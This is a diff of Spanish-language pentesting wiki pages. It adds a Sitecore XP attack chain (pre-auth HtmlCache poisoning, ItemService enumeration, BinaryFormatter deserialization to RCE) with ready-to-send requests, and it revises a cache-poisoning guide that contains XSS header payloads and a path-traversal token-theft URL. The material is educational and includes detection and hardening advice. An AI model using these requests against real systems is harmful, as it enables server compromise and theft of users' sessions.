- **JS files**: En la sección de spidering se mencionaron varias herramientas que pueden extraer paths de archivos JS. También sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se ha introducido una vulnerabilidad en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
- También deberías comprobar los JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para ver si son vulnerables.
+- Si encuentras un _**.env**_ se pueden obtener información como api keys, contraseñas de dbs y otra información.
+- Si encuentras **API endpoints** deberías [también testearlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "parecerán" archivos.
+- **JS files**: En la sección de spidering se mencionaron varias herramientas que extraen paths de archivos JS. También sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar, por ejemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
+- También deberías chequear los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para ver si son vulnerables.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript con caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
+- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 - En varias ocasiones necesitarás **entender las expresiones regulares** usadas. Esto será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
- También podrías **monitorizar los archivos donde se detectaron forms**, ya que un cambio en el parámetro o la aparición de un nuevo form puede indicar una nueva funcionalidad potencialmente vulnerable.
+- También podrías **monitorizar los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad potencialmente vulnerable.

 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**

@ -316,24 +317,24 @@ Si alguna página **responde** con ese **código**, probablemente sea un **proxy

 **NTLM Authentication - Info disclosure**

-Si el servidor que solicita autenticación es **Windows** o encuentras un login solicitando tus **credentials** (y pidiendo el **domain** **name**), puedes provocar una **info disclosure**.\
-**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **NTLM authentication**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\
-Puedes **automatizar** esto usando el plugin de **nmap** "_http-ntlm-info.nse_".
+Si el servidor que pide autenticación es **Windows** o encuentras un login solicitando tus **credenciales** (y pidiendo el **domain** **name**), puedes provocar una **divulgación de información**.\
+**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\
+Puedes **automatizar** esto usando el **nmap plugin** "_http-ntlm-info.nse_".

 **HTTP Redirect (CTF)**

-Es posible **colocar contenido** dentro de una **Redirection**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** ahí.
+Es posible **incluir contenido** dentro de una **redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí.

 ### Web Vulnerabilities Checking

-Ahora que se ha realizado una enumeración exhaustiva de la aplicación web es momento de comprobar una gran cantidad de posibles vulnerabilidades. Puedes encontrar el checklist aquí:
+Ahora que se ha realizado una enumeración exhaustiva de la aplicación web, es hora de comprobar muchas posibles vulnerabilidades. Puedes encontrar el checklist aquí:


 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}

-Más información sobre web vulns en:
+Encuentra más info sobre vulnerabilidades web en:

 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
--- a/src/network-services-pentesting/pentesting-web/sitecore/README.md
+++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md
@ -0,0 +1,194 @@
+# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Esta página resume una cadena de ataque práctica contra Sitecore XP 10.4.1 que pivota desde un pre‑auth XAML handler hacia HTML cache poisoning y, mediante un authenticated UI flow, a RCE a través de BinaryFormatter deserialization. Las técnicas se generalizan a versiones/componentes similares de Sitecore y proporcionan primitivas concretas para probar, detectar y endurecer.
+
+- Producto afectado probado: Sitecore XP 10.4.1 rev. 011628
+- Corregido en: KB1003667, KB1003734 (junio/julio 2025)
+
+Ver también:
+
+{{#ref}}
+../../../pentesting-web/cache-deception/README.md
+{{#endref}}
+
+{{#ref}}
+../../../pentesting-web/deserialization/README.md
+{{#endref}}
+
+## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
+
+El punto de entrada es el pre‑auth XAML handler registrado en web.config:
+```xml
+<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
+```
+Accesible a través de:
+```
+GET /-/xaml/Sitecore.Shell.Xaml.WebControl
+```
+El árbol de controles incluye AjaxScriptManager que, en solicitudes de eventos, lee attacker‑controlled fields e invoca métodos mediante reflexión en los controles objetivo:
+```csharp
+// AjaxScriptManager.OnPreRender
+string clientId = page.Request.Form["__SOURCE"];      // target control
+string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
+...
+Dispatch(clientId, text);
+
+// eventually → DispatchMethod(control, parameters)
+MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
+if (m != null) m.Invoke(this, e.Parameters);
+
+// Alternate branch for XML-based controls
+if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
+```
+Observación clave: la página XAML incluye una instancia XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva de Sitecore.Web.UI.WebControl (una clase de Sitecore), que pasa la allow‑list ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos en Sitecore WebControl.
+
+Magic method for poisoning:
+```csharp
+// Sitecore.Web.UI.WebControl
+protected virtual void AddToCache(string cacheKey, string html) {
+HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
+if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
+}
+```
+Porque podemos apuntar a xmlcontrol:GlobalHeader y llamar a métodos de Sitecore.Web.UI.WebControl por nombre, obtenemos un pre‑auth arbitrary HtmlCache write primitive.
+
+### Solicitud de PoC (CVE-2025-53693)
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
+Host: target
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+Notas:
+- __SOURCE es el clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comúnmente estable, como ctl00_ctl00_ctl05_ctl03 ya que se deriva de XAML estático).
+- __PARAMETERS tiene el formato Method("arg1","arg2").
+
+## Qué envenenar: Construcción de claves de caché
+
+Construcción típica de claves de HtmlCache usada por los controles de Sitecore:
+```csharp
+public virtual string GetCacheKey(){
+SiteContext site = Sitecore.Context.Site;
+if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
+string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
+if (key.Length > 0){
+string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
+if (this.VaryByData)        k += ResolveDataKeyPart();
+if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
+if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
+if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
+if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
+if (this.VaryByQueryString && site?.Request != null)
+k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
+if (this.ClearOnIndexUpdate) k += "_#index";
+return k;
+}
+}
+return string.Empty;
+}
+```
+Ejemplo de envenenamiento dirigido para un sublayout conocido:
+```
+__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+## Enumerando elementos cacheables y “vary by” dimensions
+
+Si ItemService está (mal)expuesto anónimamente, puedes enumerar componentes cacheables para derivar claves exactas.
+
+Prueba rápida:
+```
+GET /sitecore/api/ssc/item
+// 404 Sitecore error body → exposed (anonymous)
+// 403 → blocked/auth required
+```
+Listar elementos cacheables y flags:
+```
+GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
+```
+Busca campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Los nombres de dispositivo pueden enumerarse mediante:
+```
+GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
+```
+### Enumeración por canal lateral bajo identidades restringidas (CVE-2025-53694)
+
+Incluso cuando ItemService se hace pasar por una cuenta limitada (p. ej., ServicesAPI) y devuelve un array Results vacío, TotalCount aún puede reflejar pre‑ACL Solr hits. Puedes brute‑force item groups/ids con wildcards y observar cómo TotalCount converge para mapear contenido interno y dispositivos:
+```
+GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
+→ "TotalCount": 3
+GET /...term=%2B_templatename:Device;%2B_group:aa*
+→ "TotalCount": 2
+GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
+→ narrow to a specific item
+```
+## Post‑auth RCE: BinaryFormatter sink en convertToRuntimeHtml (CVE-2025-53691)
+
+Sink:
+```csharp
+// Sitecore.Convert
+byte[] b = Convert.FromBase64String(data);
+return new BinaryFormatter().Deserialize(new MemoryStream(b));
+```
+Accesible a través del paso del pipeline convertToRuntimeHtml ConvertWebControls, que busca un elemento con id {iframeId}_inner y decodifica base64 + deserializa su contenido, luego inyecta la cadena resultante en el HTML:
+```csharp
+HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
+string text2   = inner?.GetAttributeValue("value", "");
+if (text2.Length > 0)
+htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
+```
+Trigger (autenticado, permisos de Content Editor). El diálogo FixHtml llama a convertToRuntimeHtml. De extremo a extremo sin hacer clics en la UI:
+```
+// 1) Start Content Editor
+GET /sitecore/shell/Applications/Content%20Editor.aspx
+
+// 2) Load malicious HTML into EditHtml session (XAML event)
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc" value="poc"></iframe>
+<test id="test_inner" value="BASE64_GADGET"></test>
+</html>
+
+// 3) Server returns a session handle (hdl) for FixHtml
+{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
+
+// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
+
+
+{{#ref}}
+../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+{{#endref}}
+
+## Cadena completa
+
+1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
+2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
+3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
+
+## Detección
+
+- Pre‑auth XAML: solicitudes a `/-/xaml/Sitecore.Shell.Xaml.WebControl` con `__ISEVENT=1`, `__SOURCE` sospechoso y `__PARAMETERS=AddToCache(...)`.
+- Sondeos de ItemService: picos de consultas comodín a `/sitecore/api/ssc`, `TotalCount` grande con `Results` vacíos.
+- Intentos de deserialization: `EditHtml.aspx` seguido de `FixHtml.aspx?hdl=...` y base64 inusualmente grande en campos HTML.
+
+## Endurecimiento
+
+- Aplicar los parches de Sitecore KB1003667 y KB1003734; gate/disable handlers pre‑auth XAML o añadir validación estricta; monitorizar y limitar la tasa de `/-/xaml/`.
+- Eliminar/reemplazar BinaryFormatter; restringir el acceso a convertToRuntimeHtml o aplicar validación fuerte del lado servidor en los flujos de edición HTML.
+- Restringir `/sitecore/api/ssc` a loopback o a roles autenticados; evitar patrones de impersonation que provoquen side‑channels basados en `TotalCount`.
+- Aplicar MFA/least privilege para usuarios Content Editor; revisar CSP para reducir el impacto del steering de JS derivado de cache poisoning.
+
+## References
+
+- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
+- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
+- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -1,131 +1,134 @@
-# Envenenamiento de Caché y Engaño de Caché
+# Cache Poisoning and Cache Deception

 {{#include ../../banners/hacktricks-training.md}}

 ## La diferencia

-> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
+> **¿Cuál es la diferencia entre web cache poisoning y web cache deception?**
 >
-> - En **el envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
-> - En **el engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
+> - In **web cache poisoning**, el atacante hace que la aplicación almacene contenido malicioso en la caché, y ese contenido se sirve desde la caché a otros usuarios de la aplicación.
+> - In **web cache deception**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego recupera ese contenido desde la caché.

-## Envenenamiento de Caché
+## Cache Poisoning

-El envenenamiento de caché tiene como objetivo manipular la caché del lado del cliente para obligar a los clientes a cargar recursos que son inesperados, parciales o controlados por un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el período de contaminación de la caché.
+Cache poisoning tiene como objetivo manipular la caché del lado del cliente para forzar a los clientes a cargar recursos inesperados, parciales o bajo el control de un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visitan la página durante el periodo de envenenamiento de la caché.

-La ejecución de un ataque de envenenamiento de caché implica varios pasos:
+La ejecución de un ataque de cache poisoning implica varios pasos:

-1. **Identificación de Entradas Sin Clave**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
-2. **Explotación de las Entradas Sin Clave**: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
-3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada.
+1. **Identification of Unkeyed Inputs**: Estos son parámetros que, aunque no sean necesarios para que una request sea cacheada, pueden alterar la respuesta devuelta por el servidor. Identificar estos inputs es crucial ya que pueden explotarse para manipular la caché.
+2. **Exploitation of the Unkeyed Inputs**: Tras identificar los unkeyed inputs, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de manera que beneficie al atacante.
+3. **Ensuring the Poisoned Response is Cached**: El paso final es asegurarse de que la respuesta manipulada se almacene en la caché. De ese modo, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.

-### Descubrimiento: Verificar encabezados HTTP
+### Descubrimiento: Comprueba cabeceras HTTP

-Por lo general, cuando una respuesta fue **almacenada en la caché**, habrá un **encabezado que lo indique**, puedes verificar qué encabezados debes tener en cuenta en esta publicación: [**Encabezados de Caché HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Por lo general, cuando una respuesta fue **almacenada en la caché** habrá una **cabecera que lo indique**; puedes comprobar qué cabeceras debes vigilar en este post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).

-### Descubrimiento: Códigos de error de caché
+### Descubrimiento: Almacenamiento en caché de códigos de error

-Si estás pensando que la respuesta se está almacenando en una caché, podrías intentar **enviar solicitudes con un encabezado incorrecto**, que debería ser respondido con un **código de estado 400**. Luego intenta acceder a la solicitud normalmente y si la **respuesta es un código de estado 400**, sabes que es vulnerable (y podrías incluso realizar un DoS).
+Si sospechas que la respuesta se está almacenando en caché, podrías intentar **enviar requests con una cabecera malformada**, lo que debería responder con un **status code 400**. Luego intenta acceder a la request de forma normal y si la **respuesta es un status code 400**, sabes que es vulnerable (y podrías incluso realizar un DoS).
+
+You can find more options in:

-Puedes encontrar más opciones en:

 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}

-Sin embargo, ten en cuenta que **a veces estos tipos de códigos de estado no se almacenan en caché**, por lo que esta prueba podría no ser confiable.
+Sin embargo, ten en cuenta que **a veces este tipo de status codes no se cachean**, por lo que esta prueba podría no ser fiable.

-### Descubrimiento: Identificar y evaluar entradas sin clave
+### Descubrimiento: Identificar y evaluar unkeyed inputs

-Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **fuerza bruta de parámetros y encabezados** que pueden estar **cambiando la respuesta de la página**. Por ejemplo, una página puede estar utilizando el encabezado `X-Forwarded-For` para indicar al cliente que cargue el script desde allí:
+You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
 ### Elicit a harmful response from the back-end server

-Con el parámetro/cabecera identificado, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
+Con el parámetro/encabezado identificado, comprueba cómo se está **saneando** y **dónde** se **refleja** o afecta la respuesta desde el encabezado. ¿Puedes abusar de él de todos modos (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)

 ### Get the response cached

-Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de almacenar en caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos.
+Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**encabezado** usar y **cómo** **abusar** de él, necesitas que la página quede en caché. Dependiendo del recurso que estés intentando almacenar en la caché esto podría tardar, puede que necesites intentarlo durante varios segundos.

-La cabecera **`X-Cache`** en la respuesta podría ser muy útil ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\
-La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800`
+El encabezado **`X-Cache`** en la respuesta puede ser muy útil ya que puede tener el valor **`miss`** cuando la petición no fue cacheada y el valor **`hit`** cuando está cacheada.\
+El encabezado **`Cache-Control`** también es interesante para saber si un recurso se está cacheando y cuándo será la próxima vez que el recurso volverá a ser cacheado: `Cache-Control: public, max-age=1800`

-Otra cabecera interesante es **`Vary`**. Esta cabecera se usa a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.
+Otro encabezado interesante es **`Vary`**. Este encabezado suele usarse para **indicar encabezados adicionales** que se tratan como **parte de la clave de caché**, incluso si normalmente no forman parte de la clave. Por lo tanto, si el atacante conoce el `User-Agent` de la víctima a la que apunta, puede envenenar la caché para los usuarios que usen ese `User-Agent` específico.

-Una cabecera más relacionada con la caché es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.
+Un encabezado más relacionado con la caché es **`Age`**. Define el tiempo en segundos que el objeto lleva en la caché del proxy.

-Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** porque algunas de ellas podrían ser **usadas inesperadamente** como **indexadas** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Cache Poisoning con **diferentes navegadores** para verificar si está funcionando.
+Al cachear una petición, ten **cuidado con los encabezados que usas** porque algunos de ellos podrían ser **usados inesperadamente** como **parte de la clave** y la **víctima necesitará usar ese mismo encabezado**. Siempre **prueba** un Cache Poisoning con **distintos navegadores** para comprobar si está funcionando.

 ## Exploiting Examples

 ### Easiest example

-Una cabecera como `X-Forwarded-For` se está reflejando en la respuesta sin sanitizar.\
-Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean XSSed:
+Un encabezado como `X-Forwarded-For` se está reflejando en la respuesta sin sanear.\
+Puedes enviar una carga útil XSS básica y envenenar la caché para que todos los que accedan a la página sufran XSS:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
 ```
-_Note que esto envenenará una solicitud a `/en?region=uk` no a `/en`_
+_Nótese que esto envenenará una petición a `/en?region=uk` y no a `/en`_

-### Envenenamiento de caché para DoS
+### Cache poisoning to DoS


 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}

-### Envenenamiento de caché a través de CDNs
+### Cache poisoning through CDNs

-En **[este informe](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** se explica el siguiente escenario simple:
+In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** se explica el siguiente escenario simple:

 - El CDN almacenará en caché cualquier cosa bajo `/share/`
- El CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto, se puede usar como **traversal de ruta para acceder a otras ubicaciones sensibles que serán almacenadas en caché** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- El servidor web SÍ decodificará y normalizará `%2F..%2F`, y responderá con `/api/auth/session`, que **contiene el token de autenticación**.
+- El CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto, puede usarse como **path traversal to access other sensitive locations that will be cached** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- El servidor web decodificará y normalizará `%2F..%2F`, y responderá con `/api/auth/session`, que **contains the auth token**.

-### Usando el envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies
+### Using web cache poisoning to exploit cookie-handling vulnerabilities

-Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que cargan la respuesta de caché maliciosa.
+Las cookies también podrían reflejarse en la respuesta de una página. Si puedes abusar de ello para provocar un XSS, por ejemplo, podrías explotar XSS en varios clientes que carguen la respuesta de caché maliciosa.
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-Nota que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares estarán limpiando la caché.
+Ten en cuenta que si la cookie vulnerable es muy usada por los usuarios, las solicitudes regulares limpiarán la caché.

-### Generando discrepancias con delimitadores, normalización y puntos <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+
+Consulta:

-Verifica:

 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}

-### Envenenamiento de caché con recorrido de ruta para robar la clave de API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-[**Este informe explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) cómo fue posible robar una clave de API de OpenAI con una URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque cualquier cosa que coincida con `/share/*` será almacenada en caché sin que Cloudflare normalice la URL, lo cual se hizo cuando la solicitud llegó al servidor web.
+[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) cómo fue posible robar una OpenAI API key con una URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque cualquier cosa que coincida con `/share/*` se almacenaría en caché sin que Cloudflare normalizara la URL, lo cual sí se hacía cuando la solicitud llegaba al servidor web.

 Esto también se explica mejor en:

+
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}

-### Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-A veces necesitarás **explotar varias entradas sin clave** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento.
+A veces necesitarás **exploit several unkeyed inputs** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Open redirect** si estableces `X-Forwarded-Host` a un dominio que controlas y `X-Forwarded-Scheme` a `http`. Si el **servidor** está **redirigiendo** todas las solicitudes **HTTP** **a HTTPS** y usa el header `X-Forwarded-Scheme` como el nombre de dominio para el redirect, puedes controlar hacia dónde apunta la página mediante la redirección.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Explotando con un encabezado `Vary` limitado
+### Explotando con `Vary` header limitado

-Si descubres que el encabezado **`X-Host`** se está utilizando como **nombre de dominio para cargar un recurso JS** pero el encabezado **`Vary`** en la respuesta indica **`User-Agent`**. Entonces, necesitas encontrar una manera de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:
+Si encontraste que la cabecera **`X-Host`** se está usando como **nombre de dominio para cargar un recurso JS** pero la cabecera **`Vary`** en la respuesta indica **`User-Agent`**. Entonces necesitas encontrar una forma de exfiltrate el User-Agent de la víctima y poison the cache usando ese user agent:
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@ -134,7 +137,7 @@ X-Host: attacker.com
 ```
 ### Fat Get

